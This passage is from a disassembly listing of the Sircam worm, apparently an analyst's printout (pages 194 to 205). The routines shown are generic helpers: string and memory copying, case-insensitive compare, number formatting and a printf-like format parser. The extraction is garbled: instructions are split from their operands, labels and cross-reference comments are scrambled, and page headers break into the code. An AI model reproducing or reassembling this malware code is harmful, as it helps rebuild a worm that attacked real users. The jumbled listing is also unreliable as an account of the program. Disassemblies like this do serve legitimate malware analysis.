pop esi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407569: ; CODE XREF: sub_40754C+A\030j lea esi, lea edi, and ecx, std repe movsb sub esi, sub edi, mov ecx, shr ecx, repe movsd cld [esi+ecx-1] [edi+ecx-1] 3 3 3 edx 2 loc_407585: sub_40754C ; CODE XREF: sub_40754C+C\030j pop pop retn endp edi esi ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407588 proc near ; CODE XREF: sub_4075BC+1A\031p ; CODE:004092E1\031p push edi push esi push ebx mov esi, eax mov edi, edx mov ebx, ecx xor al, al test ecx, ecx jz short loc_40759C repne scasb jnz short loc_40759C inc ecx loc_40759C: sub_407588 ; CODE XREF: sub_407588+D\030j ; sub_407588+11\030j sub ebx, mov edi, mov esi, mov edx, mov ecx, shr ecx, repe movsd mov ecx, and ecx, repe movsb stosb mov eax, pop ebx pop esi pop edi retn endp ecx esi edx edi ebx 2 ebx 3 edx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4075BC proc near ; CODE XREF: sub_413D40+ED\031p ; sub_413D40+108\031p sircam.asm sub_4075BC Fri Aug 10 12:42:44 2001 push push mov mov mov call push mov call mov mov pop call pop pop retn endp 194 ebx esi ebx, edx esi, eax eax, ebx sub_403724 eax eax, ebx sub_4038E8 edx, eax eax, esi ecx sub_407588 esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4075E0 proc near ; CODE XREF: sub_4084A8+365\031p ; sub_4084A8+37A\031p ... push edi push esi push ebx mov edi, edx mov esi, eax mov ebx, ecx xor eax, eax or ecx, ecx jz short loc_407621 repne scasb sub ebx, ecx mov ecx, ebx mov edi, edx xor edx, edx loc_4075F9: ; CODE XREF: sub_4075E0+3F\031j repe cmpsb jz short loc_407621 mov al, [esi-1] cmp al, 61h jb short loc_40760D cmp al, 7Ah ja short loc_40760D sub al, 20h loc_40760D: ; CODE XREF: sub_4075E0+23\030j ; sub_4075E0+28\030j mov cmp jb cmp ja sub dl, [edi-1] dl, 61h short loc_40761D dl, 7Ah short loc_40761D dl, 20h loc_40761D: ; CODE XREF: sub_4075E0+33\030j ; sub_4075E0+38\030j sub jz eax, edx short loc_4075F9 loc_407621: ; CODE XREF: sub_4075E0+D\030j ; sub_4075E0+1B\030j pop pop pop ebx esi edi sircam.asm sub_4075E0 Fri Aug 10 12:42:44 2001 195 retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407628 proc near ; CODE XREF: sub_4072D4+2A\030p ; sub_409F28+B\031p ... push edi push eax mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb not ecx pop edi mov al, dl repne scasb mov eax, 0 jnz short loc_407646 mov eax, edi dec eax loc_407646: sub_407628 ; CODE XREF: sub_407628+19\030j pop retn endp edi ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407648 sub_407648 proc near push ebx mov ebx, eax add ebx, 4 mov eax, ebx call sub_402598 mov [eax], ebx add eax, 4 pop ebx retn endp ; CODE XREF: sub_40765C+19\031p ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40765C proc near ; CODE XREF: sub_40CB90+28\031p push ebx push esi mov ebx, eax test ebx, ebx jnz short loc_407669 xor eax, eax pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407669: ; CODE XREF: sub_40765C+6\030j mov call mov inc mov call eax, ebx sub_407534 esi, eax esi eax, esi sub_407648 sircam.asm sub_40765C Fri Aug 10 12:42:44 2001 mov mov call pop pop retn endp 196 ecx, esi edx, ebx sub_40754C esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407688 proc near var_28 var_8 var_4 = byte ptr -28h = dword ptr -8 = byte ptr -4 push push push add mov mov mov cmp jbe mov ebx esi edi esp, 0FFFFFFD8h ebx, ecx esi, edx edi, eax ebx, 1Fh short loc_40769E ebx, 1Fh mov dec mov call cmp jnz dec edx, ebx edx eax, esi sub_409D38 al, 1 short loc_4076AD ebx ; CODE XREF: sub_40782B+7A\031p loc_40769E: ; CODE XREF: sub_407688+F\030j loc_4076AD: sub_407688 mov mov mov call mov mov mov mov lea mov xor call add pop pop pop retn endp ; CODE XREF: sub_407688+22\030j eax, esp ecx, ebx edx, esi sub_40754C [esp+ebx+28h+var_28], 0 eax, esp [esp+28h+var_8], eax [esp+28h+var_4], 6 edx, [esp+28h+var_8] eax, ds:off_41C14C[edi*4] ecx, ecx sub_406CD4 esp, 28h edi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4076E0 proc near push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx ; CODE XREF: CODE:004079D0\031p sircam.asm sub_4076E0 Fri Aug 10 12:42:44 2001 mov call pop pop retn endp 197 edx, esi sub_40437C esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4076F4 sub_4076F4 proc near push ebx mov ebx, eax mov eax, ebx call sub_4034C8 pop ebx retn endp ; CODE XREF: sub_407700+D3\031p ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407700 proc near var_24 var_20 var_1C var_15 var_14 var_10 var_C var_8 var_4 arg_8 = = = = = = = = = = ; CODE XREF: sub_407AF8+22\031p ; sub_407B40+55\031p ... dword ptr -24h dword ptr -20h dword ptr -1Ch byte ptr -15h dword ptr -14h dword ptr -10h dword ptr -0Ch dword ptr -8 dword ptr -4 dword ptr 10h push mov add push xor mov push push push mov mov add mov xor mov mov mov ebp ebp, esp esp, 0FFFFFF8Ch ebx ebx, ebx [ebp+var_10], ebx ebx esi edi edi, eax esi, ecx ecx, [ebp+arg_8] [ebp+var_4], edi eax, eax [ebp+var_8], eax [ebp+var_C], eax [ebp+var_10], eax or jz edx, edx short loc_407736 cmp jz lodsb cmp jz esi, ecx short loc_407736 loc_407724: ; CODE XREF: sub_407700+DD\031j loc_407728: ; CODE XREF: sub_407700+34\031j al, 25h short loc_407740 sircam.asm Fri Aug 10 12:42:44 2001 loc_407732: 198 ; CODE XREF: sub_407700+48\031j stosb dec jnz edx short loc_407728 loc_407736: ; CODE XREF: sub_407700+26\030j ; sub_407700+2A\030j ... mov eax, edi sub eax, [ebp+var_4] jmp loc_407AE8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407740: ; CODE XREF: sub_407700+30\030j cmp jz lodsb cmp jz lea mov esi, ecx short loc_407736 mov cmp jnz cmp jz lodsb [ebp+var_15], al al, 2Dh short loc_40775D esi, ecx short loc_407736 al, 25h short loc_407732 ebx, [esi-2] [ebp+var_14], ebx loc_407750: ; CODE XREF: sub_407700+6F\031j loc_40775D: ; CODE XREF: sub_407700+56\030j call sub_4077E2 cmp al, 3Ah jnz short loc_407771 mov [ebp+var_8], ebx cmp esi, ecx jz short loc_407736 lodsb jmp short loc_407750 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407771: mov mov cmp jnz cmp jz lodsb call loc_407788: ; CODE XREF: sub_407700+65\030j [ebp+var_1C], ebx ebx, 0FFFFFFFFh al, 2Eh short loc_407788 esi, ecx short loc_407736 sub_4077E2 mov mov push push call pop mov sub jnb xor ; CODE XREF: sub_407700+7C\030j [ebp+var_20], ebx [ebp+var_24], esi ecx edx sub_40782B edx ebx, [ebp+var_1C] ebx, ecx short loc_40779F ebx, ebx cmp jnz sub jnb add xor ; CODE XREF: sub_407700+9B\030j [ebp+var_15], 2Dh short loc_4077AF edx, ecx short loc_4077AD ecx, edx edx, edx loc_40779F: sircam.asm Fri Aug 10 12:42:44 2001 loc_4077AD: 199 ; CODE XREF: sub_407700+A7\030j repe movsb loc_4077AF: ; CODE XREF: sub_407700+A3\030j xchg sub jnb add xor ecx, ebx edx, ecx short loc_4077B9 ecx, edx edx, edx loc_4077B9: ; CODE XREF: sub_407700+B3\030j mov al, 20h repe stosb xchg ecx, ebx sub edx, ecx jnb short loc_4077C7 add ecx, edx xor edx, edx loc_4077C7: ; CODE XREF: sub_407700+C1\030j repe movsb cmp [ebp+var_C], 0 jz short loc_4077D9 push edx lea eax, [ebp+var_C] call sub_4076F4 pop edx loc_4077D9: sub_407700 pop mov jmp endp ; CODE XREF: sub_407700+CD\030j ecx esi, [ebp+var_24] loc_407724 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4077E2 proc near xor cmp jz ; CODE XREF: sub_407700+5D\030p ; sub_407700+83\030p ebx, ebx al, 2Ah short loc_40780B loc_4077E9: ; CODE XREF: sub_4077E2+21\031j cmp al, 30h jb short locret_40782A cmp al, 39h ja short locret_40782A imul ebx, 0Ah sub al, 30h movzx eax, al add ebx, eax cmp esi, ecx jz short loc_407805 lodsb jmp short loc_4077E9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407805: ; CODE XREF: sub_4077E2+1E\030j ; sub_4077E2+45\031j pop eax jmp loc_407736 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40780B: mov cmp ja inc ; CODE XREF: sub_4077E2+5\030j eax, [ebp-8] eax, [ebp+8] short loc_407825 dword ptr [ebp-8] sircam.asm Fri Aug 10 12:42:44 2001 mov cmp mov jz xor ebx, [ebp+0Ch] byte ptr [ebx+eax*8+4], 0 ebx, [ebx+eax*8] short loc_407825 ebx, ebx loc_407825: ; CODE XREF: sub_4077E2+2F\030j ; sub_4077E2+3F\030j cmp jz lodsb esi, ecx short loc_407805 locret_40782A: sub_4077E2 200 ; CODE XREF: sub_4077E2+A\030j ; sub_4077E2+F\030j retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40782B proc near ; CODE XREF: sub_407700+90\030p and al, 0DFh mov cl, al mov eax, 1 mov ebx, [ebp-8] cmp ebx, [ebp+8] ja short loc_407898 inc dword ptr [ebp-8] mov esi, [ebp+0Ch] lea esi, [esi+ebx*8] mov eax, [esi] movzx ebx, byte ptr [esi+4] jmp ds:off_407852[ebx*4] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_407852 dd offset loc_407946 ; DATA XREF: sub_40782B+20\030r dd offset loc_407896 dd offset loc_4079AD dd offset loc_407A6B dd offset loc_4079DD dd offset loc_407A4D dd offset loc_407A2D dd offset loc_407896 dd offset loc_407896 dd offset loc_407896 dd offset loc_4079EE dd offset loc_407A11 dd offset loc_407A67 dd offset loc_4079BC dd offset loc_407896 dd offset loc_4079F5 dd offset loc_4078AA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407896: ; CODE XREF: sub_40782B+20\030j ; sub_40782B+99\031j ... xor eax, eax call mov mov sub call sub_407ADD edx, [ebp-14h] ecx, [ebp-24h] ecx, edx sub_407688 loc_407898: ; CODE XREF: sub_40782B+F\030j loc_4078AA: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+67\030o lea mov mov ebx, [ebp-30h] edx, [eax] [ebx], edx sircam.asm Fri Aug 10 12:42:44 2001 201 mov edx, [eax+4] mov [ebx+4], edx cmp cl, 44h jz short loc_4078CD cmp cl, 55h jz short sub_4078EB cmp cl, 58h jnz short loc_407896 mov ecx, 10h jmp short loc_4078F0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4078CD: sub_40782B test jz neg adc neg call mov inc dec mov retn endp ; CODE XREF: sub_40782B+8F\030j dword ptr [ebx+4], 80000000h short sub_4078EB dword ptr [ebx] dword ptr [ebx+4], 0 dword ptr [ebx+4] sub_4078EB al, 2Dh ecx esi [esi], al ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4078EB proc near mov ecx, 0Ah lea esi, [ebp-51h] push push push mov mov call pop xchg add cmp jb add ecx 0 ecx eax, [ebx] edx, [ebx+4] sub_405775 ecx eax, edx dl, 30h dl, 3Ah short loc_40790E dl, 7 dec mov push push push mov mov call pop mov mov or jnz lea sub mov cmp jbe esi [esi], dl ecx 0 ecx eax, [ebx] edx, [ebx+4] sub_405680 ecx [ebx], eax [ebx+4], edx eax, edx short loc_4078F3 ecx, [ebp-51h] ecx, esi edx, [ebp-20h] edx, 10h short loc_407937 ; CODE XREF: sub_40782B+94\030j ; sub_40782B+A9\030j ... loc_4078F0: ; CODE XREF: sub_40782B+A0\030j loc_4078F3: ; CODE XREF: sub_4078EB+3C\031j loc_40790E: ; CODE XREF: sub_4078EB+1E\030j sircam.asm Fri Aug 10 12:42:44 2001 202 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407937: sub jbe add mov ; CODE XREF: sub_4078EB+49\030j edx, ecx short locret_407945 ecx, edx al, 30h dec mov dec jnz esi [esi], al edx short loc_40793F loc_40793F: ; CODE XREF: sub_4078EB+58\031j locret_407945: sub_4078EB ; CODE XREF: sub_4078EB+4E\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407946: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+27\030o cmp cl, 44h jz short loc_407960 cmp cl, 55h jz short sub_407972 cmp cl, 58h jnz loc_407896 mov ecx, 10h jmp short loc_407977 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407960: ; CODE XREF: CODE:00407949\030j or jns neg call mov inc dec mov retn eax, eax short sub_407972 eax sub_407972 al, 2Dh ecx esi [esi], al ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407972 proc near mov ; CODE XREF: CODE:0040794E\030j ; CODE:00407962\030j ... ecx, 0Ah loc_407977: ; CODE XREF: CODE:0040795E\030j ; CODE:00407A62\031j lea esi, [ebp-61h] xor div add cmp jb add edx, edx ecx dl, 30h dl, 3Ah short loc_407989 dl, 7 dec mov or jnz lea sub esi [esi], dl eax, eax short loc_40797A ecx, [ebp-61h] ecx, esi loc_40797A: ; CODE XREF: sub_407972+1C\031j loc_407989: ; CODE XREF: sub_407972+12\030j sircam.asm Fri Aug 10 12:42:44 2001 203 mov edx, [ebp-20h] cmp edx, 10h jbe short loc_40799E retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40799E: sub jbe add mov ; CODE XREF: sub_407972+29\030j edx, ecx short locret_4079AC ecx, edx al, 30h dec mov dec jnz esi [esi], al edx short loc_4079A6 loc_4079A6: ; CODE XREF: sub_407972+38\031j locret_4079AC: sub_407972 ; CODE XREF: sub_407972+2E\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4079AD: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+2F\030o cmp cl, 53h jnz loc_407896 mov ecx, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4079BC: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+5B\030o cmp cl, 53h jnz loc_407896 cmp word ptr [eax], 1 jbe short loc_4079DA mov edx, eax lea eax, [ebp-0Ch] call sub_4076E0 mov esi, [ebp-0Ch] jmp short loc_407A1C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4079DA: ; CODE XREF: CODE:004079C9\030j ; CODE:00407A1E\031j xor ecx, ecx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4079DD: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+37\030o cmp cl, 53h jnz loc_407896 mov esi, eax lodsb movzx ecx, al jmp short loc_407A23 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4079EE: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+4F\030o mov esi, offset loc_4036B0 jmp short loc_4079FA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4079F5: mov ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+63\030o esi, offset loc_403710 sircam.asm Fri Aug 10 12:42:44 2001 204 loc_4079FA: ; CODE XREF: CODE:004079F3\030j cmp cl, 53h jnz loc_407896 mov edx, eax lea eax, [ebp-10h] call esi ; loc_403710 mov esi, [ebp-10h] mov eax, esi jmp short loc_407A1C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407A11: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+53\030o cmp jnz mov cl, 53h loc_407896 esi, eax loc_407A1C: ; CODE XREF: CODE:004079D8\030j ; CODE:00407A0F\030j or jz mov esi, esi short loc_4079DA ecx, [esi-4] loc_407A23: ; CODE XREF: CODE:004079EC\030j cmp ecx, [ebp-20h] ja short loc_407A29 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407A29: ; CODE XREF: CODE:00407A26\030j mov ecx, [ebp-20h] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407A2D: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+3F\030o cmp cl, 53h jnz loc_407896 mov esi, eax push edi mov edi, eax xor al, al mov ecx, [ebp-20h] jecxz short loc_407A47 repne scasb jnz short loc_407A47 dec edi loc_407A47: ; CODE XREF: CODE:00407A40\030j ; CODE:00407A44\030j mov ecx, edi sub ecx, esi pop edi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407A4D: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+3B\030o cmp cl, 50h jnz loc_407896 mov dword ptr [ebp-20h], 8 mov ecx, 10h jmp loc_407977 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407A67: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+57\030o mov jmp bh, 1 short loc_407A6D sircam.asm Fri Aug 10 12:42:44 2001 205 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407A6B: ; CODE XREF: sub_40782B+20\030j ; DATA XREF: sub_40782B+33\030o mov bh, 0 mov mov cmp jz mov cmp jz mov cmp jz mov cmp jz cmp jnz mov esi, eax bl, 0 cl, 47h short loc_407AB5 bl, 1 cl, 45h short loc_407AB5 bl, 2 cl, 46h short loc_407A96 bl, 3 cl, 4Eh short loc_407A96 cl, 4Dh loc_407896 bl, 4 loc_407A6D: ; CODE XREF: CODE:00407A69\030j loc_407A96: ; CODE XREF: CODE:00407A82\030j ; CODE:00407A89\030j mov eax, 12h mov edx, [ebp-20h] cmp edx, eax jbe short loc_407AC7 mov edx, 2 cmp cl, 4Dh jnz short loc_407AC7 movzx edx, ds:byte_41E4F0 jmp short loc_407AC7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407AB5: ; CODE XREF: CODE:00407A74\030j ; CODE:00407A7B\030j mov mov cmp jbe mov eax, [ebp-20h] edx, 3 eax, 12h short loc_407AC7 eax, 0Fh loc_407AC7: ; CODE XREF: CODE:00407AA0\030j ; CODE:00407AAA\030j ... push push push lea mov movzx call mov lea retn ebx eax edx eax, [ebp-71h] edx, esi ecx, bh sub_40A8EE ecx, eax esi, [ebp-71h] ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407ADD proc near sub_407ADD push lea call pop retn endp eax eax, [ebp-10h] sub_4034C8 eax ; CODE XREF: sub_40782B+6D\030p ; CODE:00407AE8\031p sircam.asm Fri Aug 10 